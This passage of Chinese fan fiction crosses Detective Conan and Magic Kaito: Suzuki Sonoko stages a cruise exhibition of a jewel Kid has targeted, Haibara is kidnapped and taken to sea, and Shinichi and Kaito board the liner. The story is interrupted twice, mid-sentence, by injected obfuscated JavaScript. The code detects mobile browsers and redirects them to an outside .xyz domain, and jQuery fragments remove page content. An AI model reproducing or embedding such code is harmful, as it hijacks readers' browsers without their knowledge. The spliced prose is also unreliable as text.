“Kid通过网络入侵铃木塔的电子外屏发布预告之际,我们的董事长也收到了他的另外一份纸质预告函,上面提出了一个赌注:Kid用钥匙作为条件,要求铃木财阀召开一场面向公众的海上展览会,当然安保系统随意我方布置,但如果他在展览期间成功突破我们的防卫,将会取走宝石。” 随后,特助小心翼翼地拿起放在托盘中的钥匙,向台下展示。 “作为诚意,Kid已经归还了钥匙。这代表一旦我们接回保险箱,就能够将其开启,得到宝石。考虑到他的身手,如果我们拒绝接受他的挑战,Kid有极大可能直接收回钥匙,所以经我们集团内部投票决议,决定同意他的要求。” 会场里的氛围略显紧绷,在简要介绍过与香港一方公海交易的预案过后,铃木园子开始有条不紊地回答他人的诸多询问。高木警官快速将目光扫过主会议桌上按立场分座的各位人物,艰难辨认着白鸟警官在侧陪同的似乎是内阁的哪位国务大臣来着……视线疑惑地晃动了一下,接着就发现了站在会议记录秘书后侧方的工藤新一。 青年单手插进西裤,垂目扫视秘书屏幕上的会议纪要。 旁观会议的全程他都没有出声,或是做出任何干扰的举措,但在他身前的年轻秘书却忍不住把头越埋越低,耳根红得像发烧,越是努力正襟危坐,越是坐立不安得像考场上被班主任站在旁边的小学生。 还是一如既往不讲道理的夸张魅力。高木警官不合时宜地分神感慨。从崭露头角起就非同凡响的名侦探啊。 不怪警官分心,搜查一课的本职工作是侦破杀人案件,而面对智能犯尤其是怪盗Kid这种层级的对手,高木警官自认他不在行,更别说提出与这种高功能犯罪者对抗的策略。 美和子建议他多倾听工藤君的意见,他也觉得这种办法最有前景。 他的目光从工藤新一那张无论怎样看都过分俊美的侧脸一扫而过,只觉入目所见的线条凌厉得几乎透出刀刃的寒芒,落进视野的一刹那就优越得炫目。 对方完美继承了昔日国民女神藤峰有希子的美貌,锋芒太盛的气质却和他那温文尔雅的父亲是两个极端。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621195|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>犹如一柄注定将名传天下的、开刃的名刀。 曾经他被称作平成时代的福尔摩斯,未来或许也会有后继者被冠以某个时代的工藤新一这般名号,作为对一名侦探而言至高无上的赞誉。 工藤新一似乎是抽空来参与这次紧急会议,结束后只与几名相熟的警官颔首示意后就径自离去,特助轻轻喊了两声“董事长”,才见望着他背影出神的铃木园子应了一声。 长袖的西装看不出来什么……上回Kid入侵铃木大厦时他因伤未能到场,这次工藤新一应该会在交易途中全程随行,应该算是终于得偿所愿了吗? 历经十余年的追查,他终于要直面这个宿命般的对手。 铃木园子心中的念头百般纷乱,魂不守舍地想了片刻后,她又忍不住轻轻叹息。 但愿这次重逢能够让他们不再留下遗憾。毕竟天底下能够与这位名侦探大人势均力敌地抗衡的,只有她从少女时代以来一直憧憬的那位…… “哟。” 走到一层大门口的工藤新一停下脚步,他侧过头,看向靠站在门边的年轻警员。 对方摘下帽子,微卷的发梢毛茸茸地乱翘,白皙俊俏的脸庞带着漂亮笑容,毫不客气地抱怨着:“亏得你有耐心听完整个会议啊,我可无聊得关键内容商议结束就走人了呢。” 平白被增加工作量的侦探不对这番散漫发言发表任何意见,只是平淡地朝他横去一眼:“那你还回来做什么,等着找警官们叙旧吗?” “舍不得离开你太久。”黑羽快斗笑着说,波光流转的眸光极具迷惑性,张口就是甜言蜜语,“何况事务繁忙的工藤新一甘愿拨冗旁听那些琐碎的雕虫小技,不就是想见我的信号么?” 全天下能把铃木财阀的布防说成雕虫小技的也只有这位技艺高超的国际大盗了。 黑羽快斗望向侦探不置可否的面孔。 “看见我这张脸,你也会满意的吧?”他一语双关地问。 “当然。”工藤新一停顿片刻,才坦诚地道出肯定的回答,望向他之后的声音都放轻了一些,“就像时光倒流,比我独自面对镜子,单调地想象黑羽快斗十年后会是什么样貌,要好许多。” 黑羽快斗若有似无地笑了笑。 他坦然地迎向侦探压抑着强烈感情的视线。 无论这是一个对自己来说算是否定还是肯定的答案,有一个事实都始终存在,那就是工藤新一对黑羽快斗不容置疑的偏爱。 “这是我的荣幸。”他轻声说。 回程路上是黑羽快斗担任了司机,他心底有些顾虑,没有将黑羽千影告诉他APTX-4869与潘多拉一脉同源的秘密分享出来,只道他发出预告函就是打算吸引有心人的关注,如果宝石确为潘多拉,他会在全世界的目光中将其毁掉,让那些人的永生大梦彻底破灭。 “时间已经不多了。” 工藤新一单手撑脸,平静注视着车窗外倒退的风景,突然道出的话语吸引了黑羽快斗的注意。 “什么?” “宝雷彗星靠近地球的时间。” “是啊,所以我也有点烦恼……不过你居然连这都知晓吗?” 黑羽快斗的声音带了点惊讶。不得不感慨,这个侦探还真是十年间把所有与怪盗关联的秘密都调查得八九不离十了啊。 工藤新一不以为意地说:“组织的嘴巴比你松多了。” “哈哈,这点我倒是也同意。” 宝雷彗星,这是破解潘多拉秘密的关键。如果知晓它的存在,根据过去的天文资料去推导计算,就可以得出彗星将在最近经过地球的答案。 不过最近发生的一连串事件让黑羽快斗有些在意。“五号金库”的保险箱近日正好到保管期,落入□□之手,又即将与铃木财阀达成交易,事件看似顺理成章地发展下来,简直像是为了不断迫近的彗星到来之日做准备似的,巧合多到他不得不怀疑其中存在某种阴谋。 就像暗中有人推动着一切,要让宝石在这个时间重见天日。 黑羽快斗用手指节奏敲击着方向盘,过了一会儿缓缓垂下眼睫。 但在这些巧合当中,最难被动手脚的是百年前存入金库的保险箱。金库保管合约即将到期的公告最早可追溯到三十年前,此后银行每年都会定期公告,期间不可能作假。除非有人为了让金库在宝雷彗星来临之前解放出来,在三十年前就改写了金库保管合约的记录。 黑羽快斗在那个时间尚未出生,但当时黑羽盗一应该刚成为怪盗Kid,查出了APTX-4869的来源,并且开始为寻觅潘多拉行动。 不过比起他早已过世的父亲,另有一人的存在浮上黑羽快斗的心头。 乌鸦。 他不但在汐留火案中抹杀了黑羽快斗,还攫取了“再生医学”的研究成果。 现在想来,他一定也知晓APTX-4869与潘多拉的关联。因为根据宫野志保过去的履历,她读书期间曾在那个全灭的科研团队中工作过一段时间,留下了不少极具前瞻性的学术论文。 黑羽快斗想到这里乍然一惊,意识到自己此前一直遗漏了个极为致命的细节。 乌鸦有两位得力部下,其中变色龙被他派去夺取潘多拉,那始终行踪不明的蝴蝶又该在哪里发挥作用?灰原哀与宫野志保从事的研究课题极为相近,二者为同一人,长相自然也完全一致,这位活生生返老还童的实例一旦被乌鸦觉察出身份,他不可能毫无动作。 “喂,新一……” 他刚打算说什么,却听见工藤新一忽然喊了一句“停车”,接着拉开车门,匆忙走了出去。 “博士!” 站在米花町2丁目22番地门前的人也看见了熟悉的车子,对工藤新一熟稔地招手。 “哟,新一,很久不见了啊。” 黑羽快斗坐在车里悄悄观察,这位有着一头地中海式的白发,身穿白大褂的眼镜老者,正是工藤新一多年的邻居和忘年交,阿笠博士。 说起来……黑羽快斗视线扫过阿笠博士搬下黄色甲壳虫车的行李,自从他借住在工藤家以来,就从未见过对方出现。 是外出旅行了吗? 他想起这个时代的寺井爷爷,若是对方没有因自己而死,也差不多是这个颐养天年的岁数了。 工藤新一却拧起眉头,不解地问:“你不是入院治疗了吗?马上就要到手术日期……” 他话未说完,却见阿笠博士挠了挠后脑勺,面露尴尬道:“啊——先前是这样没错。其实是误会一场,后来步美发现医院把我的病历卡ID和另一个患者的弄错了。负责登记的糊涂医师正好前几天要回老家已经离职,听说他们好像把资料交接得一团糟啊,我真是有点倒霉……总之我没什么问题,今天就直接回家了。” 他这番话让工藤新一微微变了脸色,他思维敏锐,一瞬间就意识到可能事有古怪,拿出手机拨通联络灰原哀的电话,可是直到自动挂断,对面传来的都只有忙音。 灰原哀失踪。 18.File 18 “日立电视台速报,铃木财阀今日召开记者发布会。董事长铃木园子女士在会上宣布将举办一次盛况空前的海上盛会,届时将对外展出被怪盗Kid盯上的神秘宝石。 “此次展出将在铃木财阀的私家邮轮莎莉贝丝皇后号上举行,旅行为公海航次,邮轮将从东京港起航,开始统共五日的海上之旅,并在公海巡航期间与从中国香港出发的歌诗达邮轮赛琳娜号完成保险箱交接及宝石展览,最终返回横滨港。 “鉴于怪盗Kid极有可能在行程期间潜入并夺取宝石,海上保安厅已为莎莉贝丝皇后号启动一级安全保障预案,全程派遣舰艇在邮轮80海里半径范围内护航。铃木财阀决定在征集社会各界人士的参与意愿后,采用主动甄选的形式邀请前往现场观览的宾客。这注定将成为诸君人生中最为波澜壮阔的旅程!报名详情请登录官网查阅……” “嘀——” 路过电视的人放下遥控器,漆黑的屏幕倒映出对方风情万种的侧影。 走到岛台旁,打开笔记本电脑,只需要在Google输入铃木财阀的字眼,点进第一条出现的官网,怪盗Kid的预告以及莎莉贝丝皇后号的巨幅图片版头当即就呈现眼前。 报名网页中详细介绍了邮轮配备的娱乐设施以及船票附赠的高额人身保险,并且郑重声明邮轮将由东京警视厅的搜查二课承担警备工作,而且假如参展宾客因被Kid冒名顶替错失了出席机会,保险公司也将支付一笔巨额赔偿金等等……网站罗列的条款中包含许多吸引人参与的刺激性介绍。 浏览文字的视线最终汇聚于最底端。 伴随阅读,对方垂目将上面书写的内容喃喃出声: “起航时间,十日后。” 时机真是和乌鸦的预测分毫不差。金发女子意味深长地低笑了一声,锁了显示屏,从摆在客厅里的酒柜中取出一瓶珍藏的Fine Versinthe。 这是一款产自法国普罗旺斯的苦艾酒,复杂、精致却又不失艺术特质,加入冰水和方糖调味后的苦味微妙而适度。 用三根手指轻轻架着一杯绿色烈酒,灌满露台的夏夜轻风让只穿着睡裙的她感到丝丝凉意。精神沉浸在微醺之中,那人忽然想起,曾有人为这杯酒赋予过与之相称的优雅名讳,梵尚绿。 在她看来,名字是一个很讽刺的存在,时人为追求不朽而竭力扬名天下,而不朽的人却早已失去自己真正的名字。 眼前所见的一瞬烟火与无数光年以外孤独闪烁的恒星,被记忆与被遗忘,很难定义哪个才是存在的意义。 莎朗·温亚德、克丽丝·温亚德、贝尔摩得、蝴蝶……归根结底都将是要被她舍弃、也将被世人彻底遗忘的名字。但她知道,只要她经历过的事情还留存于记忆中,这样的人生就不会彻底乏味下去。 女子抬起头望向照亮夜晚的柔和月亮,朦朦胧胧地回忆着自己多年以前向某位大魔术师学习易容术的遥远时光。虽然当时对自己身不由己的命运时感胆战心惊,但无论是那位勉强称得上是恩师的腹黑先生,还是她古灵精怪的调皮好友,都是她生命中难能可贵的好人。 好像时间一眨眼就过去了很久,现在轮到他们各自家里的酷小子登上命运的舞台。 她因想起前日自己绑走灰原哀的事而面露玩味地笑了笑,手指滑开手机屏幕,向工藤新一的联络邮箱发送了一条短讯。 这样做完以后她仗着醉意呢喃出声,轻声说演员终于要齐聚一堂了。 雨季随着七月的到来彻底结束,盛夏降临,仿佛是为了迎接注定风起云涌的未来,东京的高空呼啸着猛烈的夜风。 作为日本第一大港口的东京港,在长达15公里的码头岸线中,靠近郊区的泊位已然非常偏僻,年代久远的码头翻修过一趟后依然沧桑气质浓郁,主路一侧井然有序地排列着许多当地只有家庭规模的小型水产公司,停靠在门前的轿车或许就是此处最具现代工业特征的产物。 沿着石板路一直往建筑错落聚集的民宅方向走去,历经了百年渔农社会的临港城镇展露出挥之不去的纯朴风貌,建于江户时代的常夜灯高高伫立在能够眺望远处海平线的坡道上方,漆色早已斑驳脱落,彰显出一种与历史共生的怀旧感。 小镇陈旧、落后。但若用来躲避那位手眼通天的侦探,此地倒不失为一个合格的选择。 船只沉沉浮浮,浓白色的夜雾丝丝缕缕地飘浮于半空,海水微弱地折射着不知从何处投来的光线,将午夜的码头勾勒出昏暗模糊的轮廓。 因为夜间的石板道路上沾满了潮湿的水汽,让被蒙住双眼的灰原哀走得有些狼狈。 从被监视和控制着走下车起,她始终垂着头沉默不语。 对绑架者来说,无论她是在绝望中放弃抗争还是暗地里打着什么算盘,识时务总归是一个能少吃苦头的选择。 “船准备好了吗?” “在码头。” 快问快答很快结束,除此之外就再无交谈。 然而熟悉的声音却将灰原哀的记忆带回她被绑架的那日—— 她刚离开阿笠博士的病房,便被自称蝴蝶的贝尔摩得及伪装成医师的同伙挟持。根据贝尔摩得将另外一人称为变色龙的说法来推测,二人似乎身在同一组织。 后来她就被带走监禁起来,行车途中对方将灰原哀的双眼蒙住,随身的手包也被收走,所以她既无法知晓自己身在何处,也无法向外界传递求援信息。 接下来一连数日都是不被理睬而且形同坐牢的枯燥体验。 既然这群人特地将她绑架,必然有所图谋。 可在灰原哀已经暗地里做好应对审问的心理准备后,对方却选择了转移阵地,来到这处偏僻的海港口。 是工藤君追查到了他们的据点?还是他们原本就打算离开? 灰原哀落在碎发阴影里的秀丽眉目浮着微不可见的隐愁。 她心知一旦他们出了海,就代表设局掳走她的势力将极大程度地摆脱当代秩序的束缚,许多可供追踪的线索也会就此截断。 不可控的因素大幅增加,她被那位侦探搭救的希望将愈发渺茫。 还能有什么自救的方法……因她前进时一时走神,脚步在无意中被楼梯的台阶绊了一下,身体顿时踉跄前倾。 “呃——” 即将摔倒的前一刻,对方握住灰原哀的手臂,将她撑了起来。 “安分点,我奉劝你不要考虑多余的事。” 耳边传来一声短促的警告,灰原哀平复呼吸,点了点头。 一行人趁着夜色的遮蔽来到码头,快艇早已准备就绪。纵使灰原哀急切地渴望脱困,在绑匪谨慎细致的安排和操作下,起航的动静完全没有惊动当地的居民。 被关进船舱后,她立即挪到角落,不顾墙壁的粗粝把侧脸靠了上去。 遮挡视野的黑布在摩擦中从面庞上滑落下来,灰原哀瞧向圆窗以外,眼见她离开的码头在视野中变得越来越小,只能竭尽所能地记忆她目所及处的一切景色细节。 糟糕啊,这下我可真是前景未卜了。她无奈地想,心中涌现出淡淡的感伤之情。 被掳出海的隔日,灰原哀知晓了船上两名监视者的身份。其中之一是她早就知晓的贝尔摩得,另外一位有着平凡无奇面孔的监视者被称为变色龙,是绑架她那日打扮成医师的人。 以动物为代号的组织?她暗忖。 当日正午,一艘小艇与他们所在的快艇会合,登船的是一名身形瘦削的眼镜青年。 “真是好久不见你这张毫无特征的脸了啊,变色龙。” 他望向站在甲板边缘始终少言寡语的冷淡男人,面上浮现出极其微妙的笑容。 “感谢我的记性比BOSS好吧。”他说,“她已经快忘了你,眼里只看得见貌美青春的乌鸦先生了。真是可怜你的一腔恋心……” 冷嘲热讽的话语说了一堆,那人却见变色龙完全不搭理他的挑衅,径自转身离开,顿时有些不快,盯着变色龙的背影瞧了一会儿,想象对方背对着他的脸孔必定是一副怒极却反驳不能的难堪模样,这才略微气顺,抬手理了理自己毫无褶皱的领口。 随后眼镜青年斜眼瞧向双手抱臂看了半天好戏的贝尔摩得:“蝴蝶,敢问乌鸦先生近来可好?” “不知道,我也许久未见他出现了。”贝尔摩得见对方不爽地“啧”了一声,面上笑意加深,“别抱怨了,海鸥。那位应该是对潘多拉势在必得吧,说不定现在正与工藤新一玩得乐在其中哦。” “好吧,好吧,乌鸦先生开心就一切都好。” 海鸥用无奈的声音回答,故意在后半句话上加重音量,以示他对乌鸦的尊敬。 “那么,我们盛情邀请来的那位同行的小姐呢?”对方紧接着问,面上带出一丝轻蔑,“宫野艾莲娜得到的手稿秘密,赶紧弄到手以后就把她杀了。” 贝尔摩得毫不犹豫地表示拒绝:“不行,乌鸦说她还有用哦。能将药物制作出来的科学家可不多见。那位BOSS的病应该撑不了太长时间了吧。” “BOSS?那位深居简出了那么多年,还算是什么BOSS……真正的凤凰会在火中重生。” 海鸥边说边往船舱走,眼角余光注意着变色龙停留原处的孤傲身影,从鼻腔里发出一声哼声,对贝尔摩得意味深长地说: “蝴蝶,你压根不懂乌鸦先生有多高瞻远瞩。无论BOSS的积年夙愿能否达成,在乌鸦先生已将我们派系的竞争者一扫而空的现在,组织已是他的囊中之物。所以……垄断潘多拉的秘密,才是乌鸦先生的终极目标。在这个世界的历史中,能够缔造永生奇迹的科学家只存在过一个就足够了……” 不了解乌鸦目的的是你这个利欲熏心的蠢货才对。贝尔摩得敛目掩去眼底不以为然的冷嘲之色,随后状若无意地侧身朝着后方望去,向变色龙的方向瞥去一眼。 与海鸥心中的猜测截然不同,对方的脸色淡然至极,对那些暗藏锋芒的话语无动于衷。察觉到贝尔摩得的注视,他转过脸庞,投来摄人心魄的锐利视线。 要说灰原哀最讨厌哪种人,眼下她面对的男人大概可算作一个活灵活现的实例。 海上波涛起伏,一波一波拍打在船体上,房间晃动不休,玻璃圆窗上的白色浪花和水渍很快伴随着潮退消失殆尽,取而代之的是一束穿越空气与浮尘的明亮光束,照亮了一张洋溢着野心的狂想家的脸庞。 “只要寿命仍为人类探索未知的路途设限,永生将是我们注定追逐的命题。这个世界尚且存在太多常理不可解的问题,因此有的人认为科学的尽头仍是神学,也有人相信神学的尽头就是科学。而我们——” 刘海下方的视野里出现两只手撑在桌面,灰原沉默地盯视片刻后仍未闻后续,才慢慢抬起眼,看向眼前的眼镜青年。 “这二者都无须相信。”面前的人笑起来,语带傲慢说,“我们不必信神,也不需要相信科学。因为我们就是创造奇迹的神,只需信奉自己。” 疯子。 平静的念头经过脑海,灰原哀仍是沉默地坐在阴影丛生的暗处,不配合,也不轻率吐露任何可能激怒绑匪的鲁莽回答,该说她已经颇具自我保护的心得了吗。 此时她终于知晓贝尔摩得找上自己的目的,她们作为先后两个版本的APTX-4869使用者,最为清楚这药物的逆天之处,而且APTX-4869与她母亲宫野艾莲娜过世前着手研发或者说试图再现的药物银色子弹,两者有个共同的母本。 那些早已化为飞灰的东西,现在只在她的记忆中留存。 连灰原哀也仅仅从母亲遗言的只言片语中推导出这个机密,倘若那份母本当真存在于世,说不定就是所谓的永生药吧。 她不似母亲那般痴迷真理。科学是她的兴趣,但她绝不会迷失其中。解开永生谜题的邀请固然很吸引人,灰原哀却更在意其背后所隐藏的代价。 她不会让在自己和明美姐姐身上发生过的悲剧再次重演。 “宫野小姐,你拥有无与伦比的才能,理应加入我们……” “少说废话。”灰原哀淡淡笑了声,轻飘飘道,“演讲结束了吧?很遗憾,我对这个课题不感兴趣,也不认识你说的宫野,你找错人了。” “喔……是吗?”海鸥的狂热声线陡然降温,变得危险至极。 他们所处的地方忽然剧烈地上下摇晃起来,颠簸的海浪扑上圆窗的玻璃,遮蔽住过盛的刺目阳光,船舱的一切被笼罩在阴冷的阴影里。 手腕被绑缚在身后的灰原哀无法继续维持身体的稳定,顿时狼狈地摔在地上。 她本能地蜷起身体,大脑急速转动。 自己被困在一艘驶往不知名去处的船里,同乘者只有三名,却都是看守她的敌人。 目前根据对方的表现来猜测,是有个组织对永生之药打起了主意。 劫持她的目的是让她在组织的控制下完成研究?还是从她口中套取完情报就杀人灭口? 灰原哀咬唇思考。 她该怎么办,在一望无际的大海上—— “要是抓错人可苦恼了啊。”海鸥这时忽然皮笑肉不笑地如是说,“毕竟我们的行动是个秘密,现在被你知晓的话,大概……没有比让你成为死人更安全的保险措施了。” 不作伪的杀意刺得她如芒刺在背,灰原哀缓慢低头,散乱的发丝滑过额前,缚在身后的手指微微缩紧。 她才不相信自己把秘密向此人和盘托出以后,还能有任何活命的希望。 “喂,蝴蝶。”灰原哀蓦地扬高声音,冷冷地呼唤海鸥身后作壁上观的贝尔摩得,“这个人就是你的上司吗?” 未等贝尔摩得回答,海鸥便扯出一个毫无亲和力的笑容:“我当然不是,这些杂活何须劳烦那位先生?” “既然是谈APTX-4869的秘密,我要见有权利跟我谈判的人。” “这可做不到呢,乌鸦先生只会在合适的时机出现。” 幕后黑手名叫乌鸦吗?灰原哀暗自留意。 “什么是合适的时机?” “不知道。” “他是谁?” “不瞒你说,我们不知道,也不能说……”对方如此意味深长地说着,面对灰原哀探寻的眼神,卖关子似的一笑,“神出鬼没、变幻自在,而且料事如神,这就是我们为之折服的乌鸦。” 那么,他们如何辨认乌鸦的身份?灰原暗忖,故意讽笑道:“说这么好听,其实你们根本不得他的信任吧?” 眼镜青年轻蔑地扫了她一眼:“乌鸦是最聪慧的鸟类……” “好啦,海鸥。”贝尔摩得终于懒得再听这蠢货大放厥词,见机打断他的话语,“你应该记得乌鸦的交代吧……” 后面的低语几近无声,警告的意味一目了然。 海鸥闻言,面上虚伪的假笑不变,轻慢地抬手在脸侧扇了扇风。 “蝴蝶,我不是你的下级。”他说,“乌鸦先生有什么指示,我只相信自己亲耳所听、亲眼所见。” 是夜,海上繁星点点。 万幸强劲的夏季风吹散了云与雨,夜空中的星座清晰可辨。 在没有GPS辅助定位的古航海时代,水手只能依靠星辰辨别方位。利用单高法观测北极星的高度就可以确定纬度,根据月亮与双子座β星的角距离确定自身所处的经度。尽管通过目测估算无法得到非常精确的结果,但目前也只能勉强如此了。 灰原哀眉头紧锁地望向窗外,有些困惑地喃喃自语:“这个方向……他们打算直接驶出日本领海?” 快艇作为一种燃料储备有限的小型船只,显然无法支撑过长距离的航行。 “敌人还有其他接应……” “正确的推断。” 突然接话的声音让灰原哀悚然一惊,她猛地转头,只见房间不知何时被打开一线缝隙,门口出现了一位本不该出现于此地的人。对方不动声色地踏过一地冰凉流淌的月色,目光低垂,望向她浮现出不可思议表情的脸孔。 “抱歉又让你卷进麻烦的事件了,灰原。” 同一时间的东京港,衣摆带风的名侦探走过娱记的镜头,道路两旁的灯光打在他轮廓清冷的侧脸,鼻梁那一小片的皮肤白得反光,不带笑容的样子也俊美得晃眼。 于是哪怕他的身影堪比闪现,快门声也分秒必争地响了一片。扑簌的闪光接连映亮工藤新一冷冽的眉眼,漆黑衬衣从灰蓝色的西装衣领上钻出一截,领口随意地解开两颗扣子,从颈项到锁骨露出一抹肌肤颜色,莹润地透着光泽。 面前盘踞于东京港口的是铃木家大名鼎鼎的私家邮轮莎莉贝丝皇后号。邮轮全长210米,宽26.5米,排水量4万吨,船上包含11层客用甲板,搭载2个泳池、15家餐厅,以及歌剧院、电影院、健身厅、网球场等娱乐设施,可搭乘1500名乘客与船员,可谓是一座浮动的豪华酒店,旅客的世外桃源。 面对Kid气焰嚣张的挑战,尽管警方希望铃木财阀与香港那边派来的商会能够低调地完成宝石交接,奈何怪盗的高调预告早已吸引了太多外界的关注,博弈的结果就是铃木财阀正面接下战书,并为宝石筹划了一场穷奢极侈的海上展览。 为确保怪盗无法在航程中对宝石下手,一座超大型的玻璃展柜被陈设在所有宾客日夜可见的中央大厅。而且展柜中不仅布置了能够全天候运作的自动红外监测装置,船上日夜享乐的每一名客人以及往来工作的船员、警官都是天然的眼线和守护者。 然后在抵达目的地时,还将由警方对所有下船的乘客进行严格的身份检查和携带物安检。 “一切对策可谓是万无一失。” 评价来自大手笔策划此次东京-横滨海上之旅的铃木次郎吉。 以“怪盗极有可能现身的豪华邮轮”为噱头,铃木财阀的乘客招募活动得到了远超预期的热烈响应。历经重重把关,数以百计充满冒险精神的各界名流人士被甄选为此次行程的宾客,媒体甚至为他们赋予幸运骑士的美名。 为此网络上又将此次盛宴炒到一个空前绝后的水平,用一票千金都难以形容船票的珍贵。 而这无数人翘首以盼的船票,在消息登上头版新闻的那天早晨就被送到了工藤新一的手中。 “欢迎您来到莎莉贝丝皇后号,工藤先生。” 站在登船梯口的侍者露出得体的微笑,标准地九十度鞠躬。 “祝您拥有愉快的旅程。” 海港口天空的风起云涌在黑夜里也分外壮阔清晰,侦探将双手抄进口袋,目光精准地扫过甲板上数位气质鲜明的便衣刑警,正要走进船舱,就被拢着披肩的铃木园子喊住脚步。 “好久不见啊,大忙人。我听警官们都在八卦你最近好事将近,是跟哪位大美女好上了?” “没有的事,别信那些以讹传讹的话。”对方从容接话,唇边噙着滴水不漏的笑容,“谢谢你的船票,园子。” 他彬彬有礼地欠身,掌心接住铃木园子下垂的手指,在指背轻轻一吻。 真是……无可挑剔的风度。 铃木园子心中恍然浮起一点感叹。 “明明大家都自小一起长大,我们却好久很久没有这样面对面说过话了。”她说。 “这算是抱怨吗?” “你说呢?” “如果你介意的话,我会说抱歉的。”对方直起身,姿态透出矜持而优雅的气息,吸引着铃木园子将仰起的目光聚焦于对方微微含笑的脸庞。 大家毕业以后都忙碌于各自的人生,在不知不觉中变得成熟,不再像少年时代那么随心所欲。但这位名侦探又似乎是个例外,矢志不渝地走在自己的理想之路上。 铃木园子想着,心头忽然笼上一层朦胧的感伤。 此时的工藤新一,似乎已经挣脱了一切能够束缚他脚步的牵绊,周身萦绕着一种仿佛随时都可能消失的气质。 “不,没必要……如果我介意的话,我早就一天上百个电话轰炸得你烦不胜烦了。”她沉默片刻,轻轻说着,“联络是双向的通讯,不是你需要独自负担的责任。我只是忽然有点感伤而已,原来我们不知不觉已经成为非常适应分别的大人了。” “没有那么遥远吧。”工藤新一的睫毛向下顺着,轻轻一笑,“我们随时可以找地方坐下来喝杯咖啡,只要没有案件发生。” “哎呀谁有那个美国时间跟你喝什么咖啡。不懂风情的侦探少来打扰女人定番的悲春伤秋!”铃木园子佯怒地瞪了他一下,眼见工藤新一露出无辜的神情,那副无畏岁月的模样让人看了忍不住心头来气。 同时也有一种怅然若失的感觉,哪怕当下他们一同站在此处,如过去一般斗嘴玩笑,还是有什么发生变化了,就像流沙般从指缝漏走的、不可逆转的光阴。 “啊啊,有的时候真希望所有令人烦恼后悔的事都没发生过,一睁眼就回到无忧无虑的少女时代。” 不知不觉间,铃木园子说出一直盘旋在心中的话语。 “新一君呢?你从高中休学回来以后就非常忙碌吧。但恕我直言,世界没有因为你的努力变得更好,也没有变得更坏。这些年……你动摇过吗?” 那个人动摇过吗?应该不会吧。 将目光移向大海的黑羽快斗注视着伴随波浪起伏的圆月。 由于要追查的绑架事件最忌讳耽搁时间,且莎莉贝丝皇后号也即将启航,工藤新一考虑过后,让黑羽快斗与他分头行动。这倒也方便他光明正大地混进邮轮就是了,不过名侦探孤身救人的决定还是让他略感不安。 黑羽快斗不会阻拦他去冒险,但若条件允许,他还是希望自己能时刻关注对方的动向。 “我觉得每个人所看见的世界都各不相同,所以无法用绝对的观点判断一切是否会变得好与坏。”他说出自己内心的想法,“但在我看来,每个人都希望做自己认为正确的事,无论这在他人眼中是否存在意义,无论这能否或者能够多大程度地改变世界。” 不奢求旁人能够领会,也不畏惧外界的误解。 “我这一身的才能注定只会为我自己使用殆尽,因此一切行动的价值也只能由我自己来定论。” 二人简短的寒暄很快止于邮轮离港起航。 莎莉贝丝皇后号作为一艘号称海上世外桃源的豪华邮轮,影院、歌舞戏剧厅、泳池、酒吧乃至赌场等娱乐设施一应俱全。遵照过往的惯例,铃木财阀将于航行的次日在主厅举办隆重的宴会。 需要主办方操持的诸多事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15629165|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 项琐碎繁杂,特助察言观色,见机插入他们的交谈,低声向铃木园子请示有关重要宾客的座席问题,对方于是无暇继续叙旧,打过招呼便匆匆离去。 留下一名侍者微微欠身。 “工藤先生,您的行李已被送到11层的黑桃A字套房。再过十五分钟,船上各大餐厅都将开始提供今夜的晚餐,并均支持为套房的客人们提供外送服务。请问需要我带您先到客房稍作休息吗?” “嗯,有劳。” 黑羽快斗跟随侍者步入邮轮,映入眼帘的是旅程前曾被媒体特写宣传的中央大厅,数十米高的圆柱形玻璃展柜直通大厅顶部,视野的尽头是珠宝盒一般隔绝开夜空的彩绘玻璃,强烈的彩光折射混杂于四面八方投射的打光,交汇于展柜中心预留给宝石的空置台面,画面可谓是吊足了胃口。 这就是铃木家为了让所有人都能够随时欣赏和看管宝石的布置,等到宝石归位,内置的红外扫描装置也将24小时开启。 展柜周围是环形的宾客活动区,陆续到来的乘客在此参观,或啧啧赞叹,或发表评论,遇见熟人或者打算攀交情的人便凑上去寒暄一阵,聊着最近风尚的宝石传言,聊政府的新策以及他们的生意,又提及登上这艘莎莉贝丝皇后号后所见的种种,感慨铃木家的豪奢底蕴。 黑羽快斗跟在侍者身后,视线隐蔽地逐一确认了展柜附近的地灯与廊柱的位置,视线着重在柱子上被漆色掩饰过的几处内嵌接缝停留了片刻,目中掠过一缕深思。 “工藤先生,为保护您的隐私,套房内配置了专用的入户电梯,请往这走。” 他们经过一条寂静许多的长廊,过道上方打着恰到好处的黄光,光与影交汇处陈设着巴洛克风格的雕塑和装饰,以及墙上一幅幅浓墨重彩的艺术油画。 因为邮轮吨位巨大,船舱的中心区域已经让人感觉不到海浪的颠簸,几乎让人以为自己是身处一座富丽堂皇的古堡深处。 黑羽快斗一边观察一边问:“船上的客房都是用扑克牌花色来排序的吗?我住黑桃A……也就是说还有另有其他三种花色和序号了?” “是的,除了主家他们拥有专属的套房之外,待客用的客房根据编号分为三个等级,A序数是与主家相同配置的海景套房,2到4序数是贵宾阳光房,4到10序数是标准海景房,另外J、Q、K为船员专用的无窗内舱房,因为只配置了基本设施,没有提供给客人使用。”侍者说,“至于花色,则是用来区分不同朝向的客房。” 只要将内嵌芯片的黑色房卡贴上感应装置,属于黑桃A客房的电梯就会打开。 